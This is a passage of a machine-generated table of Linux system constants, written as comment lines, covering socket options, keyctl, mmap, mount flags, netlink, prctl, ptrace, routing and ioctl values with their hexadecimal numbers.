-- IP_BIND_ADDRESS_NO_PORT = 0x18
-- IP_BLOCK_SOURCE = 0x26
-- IP_CHECKSUM = 0x17
-- IP_DEFAULT_MULTICAST_LOOP = 0x1
-- IP_DEFAULT_MULTICAST_TTL = 0x1
-- IP_DF = 0x4000
-- IP_DROP_MEMBERSHIP = 0x24
-- IP_DROP_SOURCE_MEMBERSHIP = 0x28
-- IP_FREEBIND = 0xf
-- IP_HDRINCL = 0x3
-- IP_IPSEC_POLICY = 0x10
-- IP_MAXPACKET = 0xffff
-- IP_MAX_MEMBERSHIPS = 0x14
-- IP_MF = 0x2000
-- IP_MINTTL = 0x15
-- IP_MSFILTER = 0x29
-- IP_MSS = 0x240
-- IP_MTU = 0xe
-- IP_MTU_DISCOVER = 0xa
-- IP_MULTICAST_ALL = 0x31
-- IP_MULTICAST_IF = 0x20
-- IP_MULTICAST_LOOP = 0x22
-- IP_MULTICAST_TTL = 0x21
-- IP_NODEFRAG = 0x16
-- IP_OFFMASK = 0x1fff
-- IP_OPTIONS = 0x4
-- IP_ORIGDSTADDR = 0x14
-- IP_PASSSEC = 0x12
-- IP_PKTINFO = 0x8
-- IP_PKTOPTIONS = 0x9
-- IP_PMTUDISC = 0xa
-- IP_PMTUDISC_DO = 0x2
-- IP_PMTUDISC_DONT = 0x0
-- IP_PMTUDISC_INTERFACE = 0x4
-- IP_PMTUDISC_OMIT = 0x5
-- IP_PMTUDISC_PROBE = 0x3
-- IP_PMTUDISC_WANT = 0x1
-- IP_RECVERR = 0xb
-- IP_RECVOPTS = 0x6
-- IP_RECVORIGDSTADDR = 0x14
-- IP_RECVRETOPTS = 0x7
-- IP_RECVTOS = 0xd
-- IP_RECVTTL = 0xc
-- IP_RETOPTS = 0x7
-- IP_RF = 0x8000
-- IP_ROUTER_ALERT = 0x5
-- IP_TOS = 0x1
-- IP_TRANSPARENT = 0x13
-- IP_TTL = 0x2
-- IP_UNBLOCK_SOURCE = 0x25
-- IP_UNICAST_IF = 0x32
-- IP_XFRM_POLICY = 0x11
-- ISIG = 0x1
-- ISTRIP = 0x20
-- IUCLC = 0x200
-- IUTF8 = 0x4000
-- IXANY = 0x800
-- IXOFF = 0x1000
-- IXON = 0x400
-- KEYCTL_ASSUME_AUTHORITY = 0x10
-- KEYCTL_CHOWN = 0x4
-- KEYCTL_CLEAR = 0x7
-- KEYCTL_DESCRIBE = 0x6
-- KEYCTL_DH_COMPUTE = 0x17
-- KEYCTL_GET_KEYRING_ID = 0x0
-- KEYCTL_GET_PERSISTENT = 0x16
-- KEYCTL_GET_SECURITY = 0x11
-- KEYCTL_INSTANTIATE = 0xc
-- KEYCTL_INSTANTIATE_IOV = 0x14
-- KEYCTL_INVALIDATE = 0x15
-- KEYCTL_JOIN_SESSION_KEYRING = 0x1
-- KEYCTL_LINK = 0x8
-- KEYCTL_NEGATE = 0xd
-- KEYCTL_READ = 0xb
-- KEYCTL_REJECT = 0x13
-- KEYCTL_REVOKE = 0x3
-- KEYCTL_SEARCH = 0xa
-- KEYCTL_SESSION_TO_PARENT = 0x12
-- KEYCTL_SETPERM = 0x5
-- KEYCTL_SET_REQKEY_KEYRING = 0xe
-- KEYCTL_SET_TIMEOUT = 0xf
-- KEYCTL_UNLINK = 0x9
-- KEYCTL_UPDATE = 0x2
-- KEY_REQKEY_DEFL_DEFAULT = 0x0
-- KEY_REQKEY_DEFL_GROUP_KEYRING = 0x6
-- KEY_REQKEY_DEFL_NO_CHANGE = -0x1
-- KEY_REQKEY_DEFL_PROCESS_KEYRING = 0x2
-- KEY_REQKEY_DEFL_REQUESTOR_KEYRING = 0x7
-- KEY_REQKEY_DEFL_SESSION_KEYRING = 0x3
-- KEY_REQKEY_DEFL_THREAD_KEYRING = 0x1
-- KEY_REQKEY_DEFL_USER_KEYRING = 0x4
-- KEY_REQKEY_DEFL_USER_SESSION_KEYRING = 0x5
-- KEY_SPEC_GROUP_KEYRING = -0x6
-- KEY_SPEC_PROCESS_KEYRING = -0x2
-- KEY_SPEC_REQKEY_AUTH_KEY = -0x7
-- KEY_SPEC_REQUESTOR_KEYRING = -0x8
-- KEY_SPEC_SESSION_KEYRING = -0x3
-- KEY_SPEC_THREAD_KEYRING = -0x1
-- KEY_SPEC_USER_KEYRING = -0x4
-- KEY_SPEC_USER_SESSION_KEYRING = -0x5
-- LINUX_REBOOT_CMD_CAD_OFF = 0x0
-- LINUX_REBOOT_CMD_CAD_ON = 0x89abcdef
-- LINUX_REBOOT_CMD_HALT = 0xcdef0123
-- LINUX_REBOOT_CMD_KEXEC = 0x45584543
-- LINUX_REBOOT_CMD_POWER_OFF = 0x4321fedc
-- LINUX_REBOOT_CMD_RESTART = 0x1234567
-- LINUX_REBOOT_CMD_RESTART2 = 0xa1b2c3d4
-- LINUX_REBOOT_CMD_SW_SUSPEND = 0xd000fce2
-- LINUX_REBOOT_MAGIC1 = 0xfee1dead
-- LINUX_REBOOT_MAGIC2 = 0x28121969
-- LOCK_EX = 0x2
-- LOCK_NB = 0x4
-- LOCK_SH = 0x1
-- LOCK_UN = 0x8
-- MADV_DODUMP = 0x11
-- MADV_DOFORK = 0xb
-- MADV_DONTDUMP = 0x10
-- MADV_DONTFORK = 0xa
-- MADV_DONTNEED = 0x4
-- MADV_FREE = 0x8
-- MADV_HUGEPAGE = 0xe
-- MADV_HWPOISON = 0x64
-- MADV_MERGEABLE = 0xc
-- MADV_NOHUGEPAGE = 0xf
-- MADV_NORMAL = 0x0
-- MADV_RANDOM = 0x1
-- MADV_REMOVE = 0x9
-- MADV_SEQUENTIAL = 0x2
-- MADV_UNMERGEABLE = 0xd
-- MADV_WILLNEED = 0x3
-- MAP_32BIT = 0x40
-- MAP_ANON = 0x20
-- MAP_ANONYMOUS = 0x20
-- MAP_DENYWRITE = 0x800
-- MAP_EXECUTABLE = 0x1000
-- MAP_FILE = 0x0
-- MAP_FIXED = 0x10
-- MAP_GROWSDOWN = 0x100
-- MAP_HUGETLB = 0x40000
-- MAP_HUGE_MASK = 0x3f
-- MAP_HUGE_SHIFT = 0x1a
-- MAP_LOCKED = 0x2000
-- MAP_NONBLOCK = 0x10000
-- MAP_NORESERVE = 0x4000
-- MAP_POPULATE = 0x8000
-- MAP_PRIVATE = 0x2
-- MAP_SHARED = 0x1
-- MAP_STACK = 0x20000
-- MAP_TYPE = 0xf
-- MCL_CURRENT = 0x1
-- MCL_FUTURE = 0x2
-- MCL_ONFAULT = 0x4
-- MNT_DETACH = 0x2
-- MNT_EXPIRE = 0x4
-- MNT_FORCE = 0x1
-- MSG_BATCH = 0x40000
-- MSG_CMSG_CLOEXEC = 0x40000000
-- MSG_CONFIRM = 0x800
-- MSG_CTRUNC = 0x8
-- MSG_DONTROUTE = 0x4
-- MSG_DONTWAIT = 0x40
-- MSG_EOR = 0x80
-- MSG_ERRQUEUE = 0x2000
-- MSG_FASTOPEN = 0x20000000
-- MSG_FIN = 0x200
-- MSG_MORE = 0x8000
-- MSG_NOSIGNAL = 0x4000
-- MSG_OOB = 0x1
-- MSG_PEEK = 0x2
-- MSG_PROXY = 0x10
-- MSG_RST = 0x1000
-- MSG_SYN = 0x400
-- MSG_TRUNC = 0x20
-- MSG_TRYHARD = 0x4
-- MSG_WAITALL = 0x100
-- MSG_WAITFORONE = 0x10000
-- MS_ACTIVE = 0x40000000
-- MS_ASYNC = 0x1
-- MS_BIND = 0x1000
-- MS_BORN = 0x20000000
-- MS_DIRSYNC = 0x80
-- MS_INVALIDATE = 0x2
-- MS_I_VERSION = 0x800000
-- MS_KERNMOUNT = 0x400000
-- MS_LAZYTIME = 0x2000000
-- MS_MANDLOCK = 0x40
-- MS_MGC_MSK = 0xffff0000
-- MS_MGC_VAL = 0xc0ed0000
-- MS_MOVE = 0x2000
-- MS_NOATIME = 0x400
-- MS_NODEV = 0x4
-- MS_NODIRATIME = 0x800
-- MS_NOEXEC = 0x8
-- MS_NOREMOTELOCK = 0x8000000
-- MS_NOSEC = 0x10000000
-- MS_NOSUID = 0x2
-- MS_NOUSER = -0x80000000
-- MS_POSIXACL = 0x10000
-- MS_PRIVATE = 0x40000
-- MS_RDONLY = 0x1
-- MS_REC = 0x4000
-- MS_RELATIME = 0x200000
-- MS_REMOUNT = 0x20
-- MS_RMT_MASK = 0x2800051
-- MS_SHARED = 0x100000
-- MS_SILENT = 0x8000
-- MS_SLAVE = 0x80000
-- MS_STRICTATIME = 0x1000000
-- MS_SYNC = 0x4
-- MS_SYNCHRONOUS = 0x10
-- MS_UNBINDABLE = 0x20000
-- MS_VERBOSE = 0x8000
-- NAME_MAX = 0xff
-- NETLINK_ADD_MEMBERSHIP = 0x1
-- NETLINK_AUDIT = 0x9
-- NETLINK_BROADCAST_ERROR = 0x4
-- NETLINK_CAP_ACK = 0xa
-- NETLINK_CONNECTOR = 0xb
-- NETLINK_CRYPTO = 0x15
-- NETLINK_DNRTMSG = 0xe
-- NETLINK_DROP_MEMBERSHIP = 0x2
-- NETLINK_ECRYPTFS = 0x13
-- NETLINK_FIB_LOOKUP = 0xa
-- NETLINK_FIREWALL = 0x3
-- NETLINK_GENERIC = 0x10
-- NETLINK_INET_DIAG = 0x4
-- NETLINK_IP6_FW = 0xd
-- NETLINK_ISCSI = 0x8
-- NETLINK_KOBJECT_UEVENT = 0xf
-- NETLINK_LISTEN_ALL_NSID = 0x8
-- NETLINK_LIST_MEMBERSHIPS = 0x9
-- NETLINK_NETFILTER = 0xc
-- NETLINK_NFLOG = 0x5
-- NETLINK_NO_ENOBUFS = 0x5
-- NETLINK_PKTINFO = 0x3
-- NETLINK_RDMA = 0x14
-- NETLINK_ROUTE = 0x0
-- NETLINK_RX_RING = 0x6
-- NETLINK_SCSITRANSPORT = 0x12
-- NETLINK_SELINUX = 0x7
-- NETLINK_SOCK_DIAG = 0x4
-- NETLINK_TX_RING = 0x7
-- NETLINK_UNUSED = 0x1
-- NETLINK_USERSOCK = 0x2
-- NETLINK_XFRM = 0x6
-- NL0 = 0x0
-- NL1 = 0x100
-- NLA_ALIGNTO = 0x4
-- NLA_F_NESTED = 0x8000
-- NLA_F_NET_BYTEORDER = 0x4000
-- NLA_HDRLEN = 0x4
-- NLDLY = 0x100
-- NLMSG_ALIGNTO = 0x4
-- NLMSG_DONE = 0x3
-- NLMSG_ERROR = 0x2
-- NLMSG_HDRLEN = 0x10
-- NLMSG_MIN_TYPE = 0x10
-- NLMSG_NOOP = 0x1
-- NLMSG_OVERRUN = 0x4
-- NLM_F_ACK = 0x4
-- NLM_F_APPEND = 0x800
-- NLM_F_ATOMIC = 0x400
-- NLM_F_CREATE = 0x400
-- NLM_F_DUMP = 0x300
-- NLM_F_DUMP_FILTERED = 0x20
-- NLM_F_DUMP_INTR = 0x10
-- NLM_F_ECHO = 0x8
-- NLM_F_EXCL = 0x200
-- NLM_F_MATCH = 0x200
-- NLM_F_MULTI = 0x2
-- NLM_F_REPLACE = 0x100
-- NLM_F_REQUEST = 0x1
-- NLM_F_ROOT = 0x100
-- NOFLSH = 0x80
-- OCRNL = 0x8
-- OFDEL = 0x80
-- OFILL = 0x40
-- OLCUC = 0x2
-- ONLCR = 0x4
-- ONLRET = 0x20
-- ONOCR = 0x10
-- OPOST = 0x1
-- O_ACCMODE = 0x3
-- O_APPEND = 0x400
-- O_ASYNC = 0x2000
-- O_CLOEXEC = 0x80000
-- O_CREAT = 0x40
-- O_DIRECT = 0x4000
-- O_DIRECTORY = 0x10000
-- O_DSYNC = 0x1000
-- O_EXCL = 0x80
-- O_FSYNC = 0x101000
-- O_LARGEFILE = 0x8000
-- O_NDELAY = 0x800
-- O_NOATIME = 0x40000
-- O_NOCTTY = 0x100
-- O_NOFOLLOW = 0x20000
-- O_NONBLOCK = 0x800
-- O_PATH = 0x200000
-- O_RDONLY = 0x0
-- O_RDWR = 0x2
-- O_RSYNC = 0x101000
-- O_SYNC = 0x101000
-- O_TMPFILE = 0x410000
-- O_TRUNC = 0x200
-- O_WRONLY = 0x1
-- PACKET_ADD_MEMBERSHIP = 0x1
-- PACKET_AUXDATA = 0x8
-- PACKET_BROADCAST = 0x1
-- PACKET_COPY_THRESH = 0x7
-- PACKET_DROP_MEMBERSHIP = 0x2
-- PACKET_FANOUT = 0x12
-- PACKET_FANOUT_CBPF = 0x6
-- PACKET_FANOUT_CPU = 0x2
-- PACKET_FANOUT_DATA = 0x16
-- PACKET_FANOUT_EBPF = 0x7
-- PACKET_FANOUT_FLAG_DEFRAG = 0x8000
-- PACKET_FANOUT_FLAG_ROLLOVER = 0x1000
-- PACKET_FANOUT_HASH = 0x0
-- PACKET_FANOUT_LB = 0x1
-- PACKET_FANOUT_QM = 0x5
-- PACKET_FANOUT_RND = 0x4
-- PACKET_FANOUT_ROLLOVER = 0x3
-- PACKET_FASTROUTE = 0x6
-- PACKET_HDRLEN = 0xb
-- PACKET_HOST = 0x0
-- PACKET_KERNEL = 0x7
-- PACKET_LOOPBACK = 0x5
-- PACKET_LOSS = 0xe
-- PACKET_MR_ALLMULTI = 0x2
-- PACKET_MR_MULTICAST = 0x0
-- PACKET_MR_PROMISC = 0x1
-- PACKET_MR_UNICAST = 0x3
-- PACKET_MULTICAST = 0x2
-- PACKET_ORIGDEV = 0x9
-- PACKET_OTHERHOST = 0x3
-- PACKET_OUTGOING = 0x4
-- PACKET_QDISC_BYPASS = 0x14
-- PACKET_RECV_OUTPUT = 0x3
-- PACKET_RESERVE = 0xc
-- PACKET_ROLLOVER_STATS = 0x15
-- PACKET_RX_RING = 0x5
-- PACKET_STATISTICS = 0x6
-- PACKET_TIMESTAMP = 0x11
-- PACKET_TX_HAS_OFF = 0x13
-- PACKET_TX_RING = 0xd
-- PACKET_TX_TIMESTAMP = 0x10
-- PACKET_USER = 0x6
-- PACKET_VERSION = 0xa
-- PACKET_VNET_HDR = 0xf
-- PARENB = 0x100
-- PARITY_CRC16_PR0 = 0x2
-- PARITY_CRC16_PR0_CCITT = 0x4
-- PARITY_CRC16_PR1 = 0x3
-- PARITY_CRC16_PR1_CCITT = 0x5
-- PARITY_CRC32_PR0_CCITT = 0x6
-- PARITY_CRC32_PR1_CCITT = 0x7
-- PARITY_DEFAULT = 0x0
-- PARITY_NONE = 0x1
-- PARMRK = 0x8
-- PARODD = 0x200
-- PENDIN = 0x4000
-- PERF_EVENT_IOC_DISABLE = 0x2401
-- PERF_EVENT_IOC_ENABLE = 0x2400
-- PERF_EVENT_IOC_ID = 0x80042407
-- PERF_EVENT_IOC_PAUSE_OUTPUT = 0x40042409
-- PERF_EVENT_IOC_PERIOD = 0x40082404
-- PERF_EVENT_IOC_REFRESH = 0x2402
-- PERF_EVENT_IOC_RESET = 0x2403
-- PERF_EVENT_IOC_SET_BPF = 0x40042408
-- PERF_EVENT_IOC_SET_FILTER = 0x40042406
-- PERF_EVENT_IOC_SET_OUTPUT = 0x2405
-- PRIO_PGRP = 0x1
-- PRIO_PROCESS = 0x0
-- PRIO_USER = 0x2
-- PROT_EXEC = 0x4
-- PROT_GROWSDOWN = 0x1000000
-- PROT_GROWSUP = 0x2000000
-- PROT_NONE = 0x0
-- PROT_READ = 0x1
-- PROT_WRITE = 0x2
-- PR_CAPBSET_DROP = 0x18
-- PR_CAPBSET_READ = 0x17
-- PR_CAP_AMBIENT = 0x2f
-- PR_CAP_AMBIENT_CLEAR_ALL = 0x4
-- PR_CAP_AMBIENT_IS_SET = 0x1
-- PR_CAP_AMBIENT_LOWER = 0x3
-- PR_CAP_AMBIENT_RAISE = 0x2
-- PR_ENDIAN_BIG = 0x0
-- PR_ENDIAN_LITTLE = 0x1
-- PR_ENDIAN_PPC_LITTLE = 0x2
-- PR_FPEMU_NOPRINT = 0x1
-- PR_FPEMU_SIGFPE = 0x2
-- PR_FP_EXC_ASYNC = 0x2
-- PR_FP_EXC_DISABLED = 0x0
-- PR_FP_EXC_DIV = 0x10000
-- PR_FP_EXC_INV = 0x100000
-- PR_FP_EXC_NONRECOV = 0x1
-- PR_FP_EXC_OVF = 0x20000
-- PR_FP_EXC_PRECISE = 0x3
-- PR_FP_EXC_RES = 0x80000
-- PR_FP_EXC_SW_ENABLE = 0x80
-- PR_FP_EXC_UND = 0x40000
-- PR_FP_MODE_FR = 0x1
-- PR_FP_MODE_FRE = 0x2
-- PR_GET_CHILD_SUBREAPER = 0x25
-- PR_GET_DUMPABLE = 0x3
-- PR_GET_ENDIAN = 0x13
-- PR_GET_FPEMU = 0x9
-- PR_GET_FPEXC = 0xb
-- PR_GET_FP_MODE = 0x2e
-- PR_GET_KEEPCAPS = 0x7
-- PR_GET_NAME = 0x10
-- PR_GET_NO_NEW_PRIVS = 0x27
-- PR_GET_PDEATHSIG = 0x2
-- PR_GET_SECCOMP = 0x15
-- PR_GET_SECUREBITS = 0x1b
-- PR_GET_THP_DISABLE = 0x2a
-- PR_GET_TID_ADDRESS = 0x28
-- PR_GET_TIMERSLACK = 0x1e
-- PR_GET_TIMING = 0xd
-- PR_GET_TSC = 0x19
-- PR_GET_UNALIGN = 0x5
-- PR_MCE_KILL = 0x21
-- PR_MCE_KILL_CLEAR = 0x0
-- PR_MCE_KILL_DEFAULT = 0x2
-- PR_MCE_KILL_EARLY = 0x1
-- PR_MCE_KILL_GET = 0x22
-- PR_MCE_KILL_LATE = 0x0
-- PR_MCE_KILL_SET = 0x1
-- PR_MPX_DISABLE_MANAGEMENT = 0x2c
-- PR_MPX_ENABLE_MANAGEMENT = 0x2b
-- PR_SET_CHILD_SUBREAPER = 0x24
-- PR_SET_DUMPABLE = 0x4
-- PR_SET_ENDIAN = 0x14
-- PR_SET_FPEMU = 0xa
-- PR_SET_FPEXC = 0xc
-- PR_SET_FP_MODE = 0x2d
-- PR_SET_KEEPCAPS = 0x8
-- PR_SET_MM = 0x23
-- PR_SET_MM_ARG_END = 0x9
-- PR_SET_MM_ARG_START = 0x8
-- PR_SET_MM_AUXV = 0xc
-- PR_SET_MM_BRK = 0x7
-- PR_SET_MM_END_CODE = 0x2
-- PR_SET_MM_END_DATA = 0x4
-- PR_SET_MM_ENV_END = 0xb
-- PR_SET_MM_ENV_START = 0xa
-- PR_SET_MM_EXE_FILE = 0xd
-- PR_SET_MM_MAP = 0xe
-- PR_SET_MM_MAP_SIZE = 0xf
-- PR_SET_MM_START_BRK = 0x6
-- PR_SET_MM_START_CODE = 0x1
-- PR_SET_MM_START_DATA = 0x3
-- PR_SET_MM_START_STACK = 0x5
-- PR_SET_NAME = 0xf
-- PR_SET_NO_NEW_PRIVS = 0x26
-- PR_SET_PDEATHSIG = 0x1
-- PR_SET_PTRACER = 0x59616d61
-- PR_SET_PTRACER_ANY = 0xffffffff
-- PR_SET_SECCOMP = 0x16
-- PR_SET_SECUREBITS = 0x1c
-- PR_SET_THP_DISABLE = 0x29
-- PR_SET_TIMERSLACK = 0x1d
-- PR_SET_TIMING = 0xe
-- PR_SET_TSC = 0x1a
-- PR_SET_UNALIGN = 0x6
-- PR_TASK_PERF_EVENTS_DISABLE = 0x1f
-- PR_TASK_PERF_EVENTS_ENABLE = 0x20
-- PR_TIMING_STATISTICAL = 0x0
-- PR_TIMING_TIMESTAMP = 0x1
-- PR_TSC_ENABLE = 0x1
-- PR_TSC_SIGSEGV = 0x2
-- PR_UNALIGN_NOPRINT = 0x1
-- PR_UNALIGN_SIGBUS = 0x2
-- PTRACE_ATTACH = 0x10
-- PTRACE_CONT = 0x7
-- PTRACE_DETACH = 0x11
-- PTRACE_EVENT_CLONE = 0x3
-- PTRACE_EVENT_EXEC = 0x4
-- PTRACE_EVENT_EXIT = 0x6
-- PTRACE_EVENT_FORK = 0x1
-- PTRACE_EVENT_SECCOMP = 0x7
-- PTRACE_EVENT_STOP = 0x80
-- PTRACE_EVENT_VFORK = 0x2
-- PTRACE_EVENT_VFORK_DONE = 0x5
-- PTRACE_GETEVENTMSG = 0x4201
-- PTRACE_GETFPREGS = 0xe
-- PTRACE_GETFPXREGS = 0x12
-- PTRACE_GETREGS = 0xc
-- PTRACE_GETREGSET = 0x4204
-- PTRACE_GETSIGINFO = 0x4202
-- PTRACE_GETSIGMASK = 0x420a
-- PTRACE_GET_THREAD_AREA = 0x19
-- PTRACE_INTERRUPT = 0x4207
-- PTRACE_KILL = 0x8
-- PTRACE_LISTEN = 0x4208
-- PTRACE_OLDSETOPTIONS = 0x15
-- PTRACE_O_EXITKILL = 0x100000
-- PTRACE_O_MASK = 0x3000ff
-- PTRACE_O_SUSPEND_SECCOMP = 0x200000
-- PTRACE_O_TRACECLONE = 0x8
-- PTRACE_O_TRACEEXEC = 0x10
-- PTRACE_O_TRACEEXIT = 0x40
-- PTRACE_O_TRACEFORK = 0x2
-- PTRACE_O_TRACESECCOMP = 0x80
-- PTRACE_O_TRACESYSGOOD = 0x1
-- PTRACE_O_TRACEVFORK = 0x4
-- PTRACE_O_TRACEVFORKDONE = 0x20
-- PTRACE_PEEKDATA = 0x2
-- PTRACE_PEEKSIGINFO = 0x4209
-- PTRACE_PEEKSIGINFO_SHARED = 0x1
-- PTRACE_PEEKTEXT = 0x1
-- PTRACE_PEEKUSR = 0x3
-- PTRACE_POKEDATA = 0x5
-- PTRACE_POKETEXT = 0x4
-- PTRACE_POKEUSR = 0x6
-- PTRACE_SECCOMP_GET_FILTER = 0x420c
-- PTRACE_SEIZE = 0x4206
-- PTRACE_SETFPREGS = 0xf
-- PTRACE_SETFPXREGS = 0x13
-- PTRACE_SETOPTIONS = 0x4200
-- PTRACE_SETREGS = 0xd
-- PTRACE_SETREGSET = 0x4205
-- PTRACE_SETSIGINFO = 0x4203
-- PTRACE_SETSIGMASK = 0x420b
-- PTRACE_SET_THREAD_AREA = 0x1a
-- PTRACE_SINGLEBLOCK = 0x21
-- PTRACE_SINGLESTEP = 0x9
-- PTRACE_SYSCALL = 0x18
-- PTRACE_SYSEMU = 0x1f
-- PTRACE_SYSEMU_SINGLESTEP = 0x20
-- PTRACE_TRACEME = 0x0
-- RLIMIT_AS = 0x9
-- RLIMIT_CORE = 0x4
-- RLIMIT_CPU = 0x0
-- RLIMIT_DATA = 0x2
-- RLIMIT_FSIZE = 0x1
-- RLIMIT_LOCKS = 0xa
-- RLIMIT_MEMLOCK = 0x8
-- RLIMIT_MSGQUEUE = 0xc
-- RLIMIT_NICE = 0xd
-- RLIMIT_NOFILE = 0x7
-- RLIMIT_NPROC = 0x6
-- RLIMIT_RSS = 0x5
-- RLIMIT_RTPRIO = 0xe
-- RLIMIT_RTTIME = 0xf
-- RLIMIT_SIGPENDING = 0xb
-- RLIMIT_STACK = 0x3
-- RLIM_INFINITY = -0x1
-- RTAX_ADVMSS = 0x8
-- RTAX_CC_ALGO = 0x10
-- RTAX_CWND = 0x7
-- RTAX_FEATURES = 0xc
-- RTAX_FEATURE_ALLFRAG = 0x8
-- RTAX_FEATURE_ECN = 0x1
-- RTAX_FEATURE_MASK = 0xf
-- RTAX_FEATURE_SACK = 0x2
-- RTAX_FEATURE_TIMESTAMP = 0x4
-- RTAX_HOPLIMIT = 0xa
-- RTAX_INITCWND = 0xb
-- RTAX_INITRWND = 0xe
-- RTAX_LOCK = 0x1
-- RTAX_MAX = 0x10
-- RTAX_MTU = 0x2
-- RTAX_QUICKACK = 0xf
-- RTAX_REORDERING = 0x9
-- RTAX_RTO_MIN = 0xd
-- RTAX_RTT = 0x4
-- RTAX_RTTVAR = 0x5
-- RTAX_SSTHRESH = 0x6
-- RTAX_UNSPEC = 0x0
-- RTAX_WINDOW = 0x3
-- RTA_ALIGNTO = 0x4
-- RTA_MAX = 0x19
-- RTCF_DIRECTSRC = 0x4000000
-- RTCF_DOREDIRECT = 0x1000000
-- RTCF_LOG = 0x2000000
-- RTCF_MASQ = 0x400000
-- RTCF_NAT = 0x800000
-- RTCF_VALVE = 0x200000
-- RTF_ADDRCLASSMASK = 0xf8000000
-- RTF_ADDRCONF = 0x40000
-- RTF_ALLONLINK = 0x20000
-- RTF_BROADCAST = 0x10000000
-- RTF_CACHE = 0x1000000
-- RTF_DEFAULT = 0x10000
-- RTF_DYNAMIC = 0x10
-- RTF_FLOW = 0x2000000
-- RTF_GATEWAY = 0x2
-- RTF_HOST = 0x4
-- RTF_INTERFACE = 0x40000000
-- RTF_IRTT = 0x100
-- RTF_LINKRT = 0x100000
-- RTF_LOCAL = 0x80000000
-- RTF_MODIFIED = 0x20
-- RTF_MSS = 0x40
-- RTF_MTU = 0x40
-- RTF_MULTICAST = 0x20000000
-- RTF_NAT = 0x8000000
-- RTF_NOFORWARD = 0x1000
-- RTF_NONEXTHOP = 0x200000
-- RTF_NOPMTUDISC = 0x4000
-- RTF_POLICY = 0x4000000
-- RTF_REINSTATE = 0x8
-- RTF_REJECT = 0x200
-- RTF_STATIC = 0x400
-- RTF_THROW = 0x2000
-- RTF_UP = 0x1
-- RTF_WINDOW = 0x80
-- RTF_XRESOLVE = 0x800
-- RTM_BASE = 0x10
-- RTM_DELACTION = 0x31
-- RTM_DELADDR = 0x15
-- RTM_DELADDRLABEL = 0x49
-- RTM_DELLINK = 0x11
-- RTM_DELMDB = 0x55
-- RTM_DELNEIGH = 0x1d
-- RTM_DELNSID = 0x59
-- RTM_DELQDISC = 0x25
-- RTM_DELROUTE = 0x19
-- RTM_DELRULE = 0x21
-- RTM_DELTCLASS = 0x29
-- RTM_DELTFILTER = 0x2d
-- RTM_F_CLONED = 0x200
-- RTM_F_EQUALIZE = 0x400
-- RTM_F_LOOKUP_TABLE = 0x1000
-- RTM_F_NOTIFY = 0x100
-- RTM_F_PREFIX = 0x800
-- RTM_GETACTION = 0x32
-- RTM_GETADDR = 0x16
-- RTM_GETADDRLABEL = 0x4a
-- RTM_GETANYCAST = 0x3e
-- RTM_GETDCB = 0x4e
-- RTM_GETLINK = 0x12
-- RTM_GETMDB = 0x56
-- RTM_GETMULTICAST = 0x3a
-- RTM_GETNEIGH = 0x1e
-- RTM_GETNEIGHTBL = 0x42
-- RTM_GETNETCONF = 0x52
-- RTM_GETNSID = 0x5a
-- RTM_GETQDISC = 0x26
-- RTM_GETROUTE = 0x1a
-- RTM_GETRULE = 0x22
-- RTM_GETSTATS = 0x5e
-- RTM_GETTCLASS = 0x2a
-- RTM_GETTFILTER = 0x2e
-- RTM_MAX = 0x5f
-- RTM_NEWACTION = 0x30
-- RTM_NEWADDR = 0x14
-- RTM_NEWADDRLABEL = 0x48
-- RTM_NEWLINK = 0x10
-- RTM_NEWMDB = 0x54
-- RTM_NEWNDUSEROPT = 0x44
-- RTM_NEWNEIGH = 0x1c
-- RTM_NEWNEIGHTBL = 0x40
-- RTM_NEWNETCONF = 0x50
-- RTM_NEWNSID = 0x58
-- RTM_NEWPREFIX = 0x34
-- RTM_NEWQDISC = 0x24
-- RTM_NEWROUTE = 0x18
-- RTM_NEWRULE = 0x20
-- RTM_NEWSTATS = 0x5c
-- RTM_NEWTCLASS = 0x28
-- RTM_NEWTFILTER = 0x2c
-- RTM_NR_FAMILIES = 0x14
-- RTM_NR_MSGTYPES = 0x50
-- RTM_SETDCB = 0x4f
-- RTM_SETLINK = 0x13
-- RTM_SETNEIGHTBL = 0x43
-- RTNH_ALIGNTO = 0x4
-- RTNH_COMPARE_MASK = 0x19
-- RTNH_F_DEAD = 0x1
-- RTNH_F_LINKDOWN = 0x10
-- RTNH_F_OFFLOAD = 0x8
-- RTNH_F_ONLINK = 0x4
-- RTNH_F_PERVASIVE = 0x2
-- RTN_MAX = 0xb
-- RTPROT_BABEL = 0x2a
-- RTPROT_BIRD = 0xc
-- RTPROT_BOOT = 0x3
-- RTPROT_DHCP = 0x10
-- RTPROT_DNROUTED = 0xd
-- RTPROT_GATED = 0x8
-- RTPROT_KERNEL = 0x2
-- RTPROT_MROUTED = 0x11
-- RTPROT_MRT = 0xa
-- RTPROT_NTK = 0xf
-- RTPROT_RA = 0x9
-- RTPROT_REDIRECT = 0x1
-- RTPROT_STATIC = 0x4
-- RTPROT_UNSPEC = 0x0
-- RTPROT_XORP = 0xe
-- RTPROT_ZEBRA = 0xb
-- RT_CLASS_DEFAULT = 0xfd
-- RT_CLASS_LOCAL = 0xff
-- RT_CLASS_MAIN = 0xfe
-- RT_CLASS_MAX = 0xff
-- RT_CLASS_UNSPEC = 0x0
-- RUSAGE_CHILDREN = -0x1
-- RUSAGE_SELF = 0x0
-- RUSAGE_THREAD = 0x1
-- SCM_CREDENTIALS = 0x2
-- SCM_RIGHTS = 0x1
-- SCM_TIMESTAMP = 0x1d
-- SCM_TIMESTAMPING = 0x25
-- SCM_TIMESTAMPING_OPT_STATS = 0x36
-- SCM_TIMESTAMPNS = 0x23
-- SCM_WIFI_STATUS = 0x29
-- SECCOMP_MODE_DISABLED = 0x0
-- SECCOMP_MODE_FILTER = 0x2
-- SECCOMP_MODE_STRICT = 0x1
-- SHUT_RD = 0x0
-- SHUT_RDWR = 0x2
-- SHUT_WR = 0x1
-- SIOCADDDLCI = 0x8980
-- SIOCADDMULTI = 0x8931
-- SIOCADDRT = 0x890b
-- SIOCATMARK = 0x8905
-- SIOCBONDCHANGEACTIVE = 0x8995
-- SIOCBONDENSLAVE = 0x8990
-- SIOCBONDINFOQUERY = 0x8994
-- SIOCBONDRELEASE = 0x8991
-- SIOCBONDSETHWADDR = 0x8992
-- SIOCBONDSLAVEINFOQUERY = 0x8993
-- SIOCBRADDBR = 0x89a0
-- SIOCBRADDIF = 0x89a2
-- SIOCBRDELBR = 0x89a1
-- SIOCBRDELIF = 0x89a3
-- SIOCDARP = 0x8953
-- SIOCDELDLCI = 0x8981
-- SIOCDELMULTI = 0x8932
-- SIOCDELRT = 0x890c
-- SIOCDEVPRIVATE = 0x89f0
-- SIOCDIFADDR = 0x8936
-- SIOCDRARP = 0x8960
-- SIOCETHTOOL = 0x8946
